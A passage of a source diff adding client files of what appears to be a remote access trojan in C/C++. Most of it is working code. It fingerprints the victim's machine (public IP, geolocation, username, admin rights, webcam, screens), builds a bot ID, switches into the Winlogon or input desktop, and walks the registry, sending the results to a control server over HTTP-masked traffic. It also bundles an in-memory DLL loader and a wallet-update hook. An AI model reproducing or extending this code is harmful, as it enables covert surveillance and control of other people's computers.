strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||||
std::string loc = cfg.GetStr("settings", "location", "");
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
auto ip_time = cfg.GetInt("settings", "ip_time");
|
||||
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
|
||||
IPConverter cvt;
|
||||
if (loc.empty() || pubIP.empty() || timeout) {
|
||||
pubIP = cvt.getPublicIP();
|
||||
loc = cvt.GetGeoLocation(pubIP);
|
||||
cfg.SetStr("settings", "location", loc);
|
||||
cfg.SetStr("settings", "public_ip", pubIP);
|
||||
cfg.SetInt("settings", "ip_time", time(0));
|
||||
}
|
||||
LoginInfor.AddReserved(loc.c_str());
|
||||
LoginInfor.AddReserved(pubIP.c_str());
|
||||
LoginInfor.AddReserved(GetCurrentExeVersion().c_str());
|
||||
BOOL IsRunningAsAdmin();
|
||||
LoginInfor.AddReserved(GetCurrentUserNameA().c_str());
|
||||
LoginInfor.AddReserved(IsRunningAsAdmin());
|
||||
char cpuInfo[32];
|
||||
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
|
||||
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
|
||||
auto clientID = std::to_string(conn.clientID);
|
||||
Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str());
|
||||
char reservedInfo[64];
|
||||
int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
auto list = ScreenCapture::GetAllMonitors();
|
||||
sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY);
|
||||
LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率
|
||||
LoginInfor.AddReserved(clientID.c_str()); // 客户端路径
|
||||
LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID
|
||||
char fileSize[32];
|
||||
double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0;
|
||||
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
|
||||
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
|
||||
LoginInfor.AddReserved(fileSize); // 文件大小
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
|
||||
DWORD CPUClockMHz()
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwCPUMHz;
|
||||
DWORD dwReturn = sizeof(DWORD);
|
||||
DWORD dwType = REG_DWORD;
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE,
|
||||
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMHz, &dwReturn);
|
||||
RegCloseKey(hKey);
|
||||
return dwCPUMHz;
|
||||
}
|
||||
|
||||
BOOL WebCamIsExist()
|
||||
{
|
||||
BOOL bOk = FALSE;
|
||||
|
||||
char szDeviceName[100], szVer[50];
|
||||
for (int i = 0; i < 10 && !bOk; ++i) {
|
||||
bOk = capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName),
|
||||
//系统的API函数
|
||||
szVer, sizeof(szVer));
|
||||
}
|
||||
return bOk;
|
||||
}
|
||||
11
client/LoginServer.h
Normal file
11
client/LoginServer.h
Normal file
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
#include "IOCPClient.h"
|
||||
#include <Vfw.h>
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
BOOL IsAuthKernel(std::string& str);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
267
client/Manager.cpp
Normal file
267
client/Manager.cpp
Normal file
@@ -0,0 +1,267 @@
|
||||
// Manager.cpp: implementation of the CManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <process.h>
|
||||
|
||||
typedef struct {
|
||||
unsigned(__stdcall* start_address)(void*);
|
||||
void* arglist;
|
||||
bool bInteractive; // 是否支持交互桌面
|
||||
HANDLE hEventTransferArg;
|
||||
} THREAD_ARGLIST, * LPTHREAD_ARGLIST;
|
||||
|
||||
HDESK SelectDesktop(TCHAR* name);
|
||||
|
||||
unsigned int __stdcall ThreadLoader(LPVOID param)
|
||||
{
|
||||
unsigned int nRet = 0;
|
||||
try {
|
||||
THREAD_ARGLIST arg;
|
||||
memcpy(&arg, param, sizeof(arg));
|
||||
SetEvent(arg.hEventTransferArg);
|
||||
// 与桌面交互
|
||||
if (arg.bInteractive)
|
||||
SelectDesktop(NULL);
|
||||
|
||||
nRet = arg.start_address(arg.arglist);
|
||||
} catch (...) {
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive)
|
||||
{
|
||||
HANDLE hThread = INVALID_HANDLE_VALUE;
|
||||
THREAD_ARGLIST arg;
|
||||
arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress;
|
||||
arg.arglist = (void*)lpParameter;
|
||||
arg.bInteractive = bInteractive;
|
||||
arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL);
|
||||
hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId);
|
||||
WaitForSingleObject(arg.hEventTransferArg, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(arg.hEventTransferArg);
|
||||
|
||||
return hThread;
|
||||
}
|
||||
|
||||
ULONG PseudoRand(ULONG* seed)
|
||||
{
|
||||
return (*seed = 1352459 * (*seed) + 2529004207);
|
||||
}
|
||||
|
||||
std::string GetBotId()
|
||||
{
|
||||
#define _T(p) p
|
||||
TCHAR botId[35] = { 0 };
|
||||
TCHAR windowsDirectory[MAX_PATH] = {};
|
||||
TCHAR volumeName[8] = { 0 };
|
||||
DWORD seed = 0;
|
||||
|
||||
if (GetWindowsDirectory(windowsDirectory, sizeof(windowsDirectory)))
|
||||
windowsDirectory[0] = _T('C');
|
||||
|
||||
volumeName[0] = windowsDirectory[0];
|
||||
volumeName[1] = _T(':');
|
||||
volumeName[2] = _T('\\');
|
||||
volumeName[3] = _T('\0');
|
||||
|
||||
GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
|
||||
|
||||
GUID guid = {};
|
||||
guid.Data1 = PseudoRand(&seed);
|
||||
|
||||
guid.Data2 = (USHORT)PseudoRand(&seed);
|
||||
guid.Data3 = (USHORT)PseudoRand(&seed);
|
||||
for (int i = 0; i < 8; i++)
|
||||
guid.Data4[i] = (UCHAR)PseudoRand(&seed);
|
||||
wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]);
|
||||
return botId;
|
||||
#undef _T(p)
|
||||
}
|
||||
|
||||
BOOL SelectHDESK(HDESK new_desktop)
|
||||
{
|
||||
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
DWORD dummy;
|
||||
char new_name[256];
|
||||
|
||||
if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switch the desktop
|
||||
if (!SetThreadDesktop(new_desktop)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Switched successfully - destroy the old desktop
|
||||
CloseDesktop(old_desktop);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
|
||||
{
|
||||
if (dwDesiredAccess == 0) {
|
||||
dwDesiredAccess = DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS;
|
||||
}
|
||||
|
||||
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
|
||||
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
|
||||
|
||||
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
|
||||
if (hWinSta) {
|
||||
SetProcessWindowStation(hWinSta);
|
||||
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
|
||||
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
|
||||
}
|
||||
}
|
||||
return hInputDesktop;
|
||||
}
|
||||
|
||||
// 返回新桌面句柄,如果没有变化返回NULL
|
||||
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
|
||||
{
|
||||
HDESK hInputDesk = OpenActiveDesktop(accessRights);
|
||||
if (!hInputDesk) return NULL;
|
||||
|
||||
if (!currentDesk) {
|
||||
return hInputDesk;
|
||||
} else {
|
||||
// 通过桌面名称判断是否真正变化
|
||||
char oldName[256] = { 0 };
|
||||
char newName[256] = { 0 };
|
||||
DWORD len = 0;
|
||||
GetUserObjectInformationA(currentDesk, UOI_NAME, oldName, sizeof(oldName), &len);
|
||||
GetUserObjectInformationA(hInputDesk, UOI_NAME, newName, sizeof(newName), &len);
|
||||
|
||||
if (oldName[0] && newName[0] && strcmp(oldName, newName) != 0) {
|
||||
Mprintf("Desktop changed from '%s' to '%s'\n", oldName, newName);
|
||||
return hInputDesk;
|
||||
}
|
||||
}
|
||||
CloseDesktop(hInputDesk);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 桌面切换辅助函数:通过桌面名称比较判断是否需要切换
|
||||
// 返回值:true表示桌面已切换,false表示桌面未变化
|
||||
bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights)
|
||||
{
|
||||
HDESK hInputDesk = IsDesktopChanged(currentDesk, accessRights);
|
||||
|
||||
if (hInputDesk) {
|
||||
if (currentDesk) {
|
||||
CloseDesktop(currentDesk);
|
||||
}
|
||||
currentDesk = hInputDesk;
|
||||
SetThreadDesktop(currentDesk);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// - SelectDesktop(char *)
|
||||
// Switches the current thread into a different desktop, by name
|
||||
// Calling with a valid desktop name will place the thread in that desktop.
|
||||
// Calling with a NULL name will place the thread in the current input desktop.
|
||||
HDESK SelectDesktop(TCHAR* name)
|
||||
{
|
||||
HDESK desktop = NULL;
|
||||
|
||||
if (name != NULL) {
|
||||
// Attempt to open the named desktop
|
||||
desktop = OpenDesktop(name, 0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
} else {
|
||||
// No, so open the input desktop
|
||||
desktop = OpenInputDesktop(0, FALSE,
|
||||
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
|
||||
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
|
||||
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
|
||||
}
|
||||
|
||||
// Did we succeed?
|
||||
if (desktop == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Switch to the new desktop
|
||||
if (!SelectHDESK(desktop)) {
|
||||
// Failed to enter the new desktop, so free it!
|
||||
CloseDesktop(desktop);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// We successfully switched desktops!
|
||||
return desktop;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CManager::CManager(IOCPClient* ClientObject) : g_bExit(ClientObject->GetState())
|
||||
{
|
||||
m_bReady = TRUE;
|
||||
m_ClientObject = ClientObject;
|
||||
m_ClientObject->setManagerCallBack(this, IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
|
||||
m_hEventDlgOpen = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
}
|
||||
|
||||
CManager::~CManager()
|
||||
{
|
||||
if (m_hEventDlgOpen != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hEventDlgOpen);
|
||||
m_hEventDlgOpen = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
BOOL CManager::Send(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = 0;
|
||||
try {
|
||||
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
|
||||
} catch (...) {
|
||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||
};
|
||||
return nRet;
|
||||
}
|
||||
|
||||
VOID CManager::WaitForDialogOpen()
|
||||
{
|
||||
WaitForSingleObject(m_hEventDlgOpen, 8000);
|
||||
//必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间
|
||||
Sleep(150);
|
||||
}
|
||||
|
||||
VOID CManager::NotifyDialogIsOpen()
|
||||
{
|
||||
SetEvent(m_hEventDlgOpen);
|
||||
}
|
||||
74
client/Manager.h
Normal file
74
client/Manager.h
Normal file
@@ -0,0 +1,74 @@
|
||||
// Manager.h: interface for the CManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||
#define AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "..\common\commands.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
#define ENABLE_VSCREEN 1
|
||||
#define ENABLE_KEYBOARD 1
|
||||
|
||||
HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess = 0);
|
||||
|
||||
HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights);
|
||||
|
||||
bool SwitchToDesktopIfChanged(HDESK& currentDesk, DWORD accessRights);
|
||||
|
||||
HDESK SelectDesktop(TCHAR* name);
|
||||
|
||||
std::string GetBotId();
|
||||
|
||||
typedef IOCPClient CClientSocket;
|
||||
|
||||
typedef IOCPClient ISocketBase;
|
||||
|
||||
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
|
||||
SIZE_T dwStackSize, // initial stack size
|
||||
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
|
||||
LPVOID lpParameter, // thread argument
|
||||
DWORD dwCreationFlags, // creation option
|
||||
LPDWORD lpThreadId, bool bInteractive = false);
|
||||
|
||||
class CManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
const State& g_bExit; // 1-被控端退出 2-主控端退出
|
||||
BOOL m_bReady;
|
||||
CManager(IOCPClient* ClientObject);
|
||||
virtual ~CManager();
|
||||
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) {}
|
||||
IOCPClient* m_ClientObject;
|
||||
HANDLE m_hEventDlgOpen;
|
||||
VOID WaitForDialogOpen();
|
||||
VOID NotifyDialogIsOpen();
|
||||
|
||||
BOOL IsConnected() const
|
||||
{
|
||||
return m_ClientObject->IsConnected();
|
||||
}
|
||||
virtual void Notify() { }
|
||||
virtual void UpdateWallet(const std::string& wallet) { }
|
||||
BOOL Send(LPBYTE lpData, UINT nSize);
|
||||
BOOL SendData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
return Send(lpData, nSize);
|
||||
}
|
||||
virtual void SetReady(BOOL ready = true)
|
||||
{
|
||||
m_bReady = ready;
|
||||
}
|
||||
virtual uint64_t GetClientID() const
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)
|
||||
1208
client/MemoryModule.c
Normal file
1208
client/MemoryModule.c
Normal file
File diff suppressed because it is too large
Load Diff
168
client/MemoryModule.h
Normal file
168
client/MemoryModule.h
Normal file
@@ -0,0 +1,168 @@
|
||||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.h
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef __MEMORY_MODULE_HEADER
|
||||
#define __MEMORY_MODULE_HEADER
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef void *HMEMORYMODULE;
|
||||
|
||||
typedef void *HMEMORYRSRC;
|
||||
|
||||
typedef void *HCUSTOMMODULE;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
|
||||
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size.
|
||||
*
|
||||
* All dependencies are resolved using default LoadLibrary/GetProcAddress
|
||||
* calls through the Windows API.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size using custom dependency
|
||||
* resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
|
||||
CustomAllocFunc,
|
||||
CustomFreeFunc,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
* ordinal value.
|
||||
*/
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
||||
|
||||
/**
|
||||
* Free previously loaded EXE/DLL.
|
||||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Execute entry point (EXE only). The entry point can only be executed
|
||||
* if the EXE has been loaded to the correct base address or it could
|
||||
* be relocated (i.e. relocation information have not been stripped by
|
||||
* the linker).
|
||||
*
|
||||
* Important: calling this function will not return, i.e. once the loaded
|
||||
* EXE finished running, the process will terminate.
|
||||
*
|
||||
* Returns a negative value if the entry point could not be executed.
|
||||
*/
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type and name.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type, name and language.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
|
||||
|
||||
/**
|
||||
* Get the size of the resource in bytes.
|
||||
*/
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Get a pointer to the contents of the resource.
|
||||
*/
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Load a string resource.
|
||||
*/
|
||||
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
|
||||
|
||||
/**
|
||||
* Load a string resource with a given language.
|
||||
*/
|
||||
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomAllocFunc that calls VirtualAlloc
|
||||
* internally to allocate memory for a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeFunc that calls VirtualFree
|
||||
* internally to free the memory used by a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
|
||||
* internally to load an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
|
||||
* internally to get the address of an exported function.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
|
||||
* internally to release an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_MODULE_HEADER
|
||||
58
client/RegisterManager.cpp
Normal file
58
client/RegisterManager.cpp
Normal file
@@ -0,0 +1,58 @@
|
||||
// RegisterManager.cpp: implementation of the CRegisterManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "RegisterManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken=TOKEN_REGEDIT;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
}
|
||||
|
||||
CRegisterManager::~CRegisterManager()
|
||||
{
|
||||
Mprintf("CRegisterManager 析构\n");
|
||||
}
|
||||
|
||||
VOID CRegisterManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_REG_FIND: //查数据
|
||||
if(ulLength>3) {
|
||||
Find(szBuffer[1],(char*)(szBuffer+2));
|
||||
} else {
|
||||
Find(szBuffer[1],NULL); //Root数据
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
{
|
||||
RegisterOperation Opt(bToken);
|
||||
if(szPath!=NULL) {
|
||||
Opt.SetPath(szPath);
|
||||
}
|
||||
char *szBuffer= Opt.FindPath();
|
||||
if(szBuffer!=NULL) {
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
//目录下的目录
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
szBuffer = Opt.FindKey();
|
||||
if(szBuffer!=NULL) {
|
||||
//目录下的文件
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
}
|
||||
24
client/RegisterManager.h
Normal file
24
client/RegisterManager.h
Normal file
@@ -0,0 +1,24 @@
|
||||
// RegisterManager.h: interface for the CRegisterManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||
#define AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "RegisterOperation.h"
|
||||
|
||||
class CRegisterManager : public CManager
|
||||
{
|
||||
public:
|
||||
CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CRegisterManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID Find(char bToken, char *szPath);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGISTERMANAGER_H__2EFB2AB3_C6C9_454E_9BC7_AE35362C85FE__INCLUDED_)
|
||||
193
client/RegisterOperation.cpp
Normal file
193
client/RegisterOperation.cpp
Normal file
@@ -0,0 +1,193 @@
|
||||
// RegisterOperation.cpp: implementation of the RegisterOperation class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "RegisterOperation.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
enum MYKEY {
|
||||
MHKEY_CLASSES_ROOT,
|
||||
MHKEY_CURRENT_USER,
|
||||
MHKEY_LOCAL_MACHINE,
|
||||
MHKEY_USERS,
|
||||
MHKEY_CURRENT_CONFIG
|
||||
};
|
||||
|
||||
|
||||
enum KEYVALUE {
|
||||
MREG_SZ,
|
||||
MREG_DWORD,
|
||||
MREG_BINARY,
|
||||
MREG_EXPAND_SZ
|
||||
};
|
||||
|
||||
struct REGMSG {
|
||||
int count; //名字个数
|
||||
DWORD size; //名字大小
|
||||
DWORD valsize; //值大小
|
||||
|
||||
};
|
||||
RegisterOperation::RegisterOperation(char bToken)
|
||||
{
|
||||
switch(bToken) {
|
||||
case MHKEY_CLASSES_ROOT:
|
||||
MKEY=HKEY_CLASSES_ROOT;
|
||||
break;
|
||||
case MHKEY_CURRENT_USER:
|
||||
MKEY=HKEY_CURRENT_USER;
|
||||
break;
|
||||
case MHKEY_LOCAL_MACHINE:
|
||||
MKEY=HKEY_LOCAL_MACHINE;
|
||||
break;
|
||||
case MHKEY_USERS:
|
||||
MKEY=HKEY_USERS;
|
||||
break;
|
||||
case MHKEY_CURRENT_CONFIG:
|
||||
MKEY=HKEY_CURRENT_CONFIG;
|
||||
break;
|
||||
default:
|
||||
MKEY=HKEY_LOCAL_MACHINE;
|
||||
break;
|
||||
}
|
||||
|
||||
ZeroMemory(KeyPath,MAX_PATH);
|
||||
}
|
||||
|
||||
RegisterOperation::~RegisterOperation()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
char* RegisterOperation::FindPath()
|
||||
{
|
||||
char *szBuffer=NULL;
|
||||
HKEY hKey; //注册表返回句柄
|
||||
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
||||
DWORD dwIndex=0,NameCount,NameMaxLen;
|
||||
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
|
||||
//这就是枚举了
|
||||
if(RegQueryInfoKey(hKey,NULL,NULL,NULL,&KeyCount, //14
|
||||
&KeyMaxLen,NULL,&NameCount,&NameMaxLen,&MaxDataLen,NULL,NULL)!=ERROR_SUCCESS) {
|
||||
return NULL;
|
||||
}
|
||||
//一点保护措施
|
||||
KeySize=KeyMaxLen+1;
|
||||
if(KeyCount>0&&KeySize>1) {
|
||||
int Size=sizeof(REGMSG)+1;
|
||||
|
||||
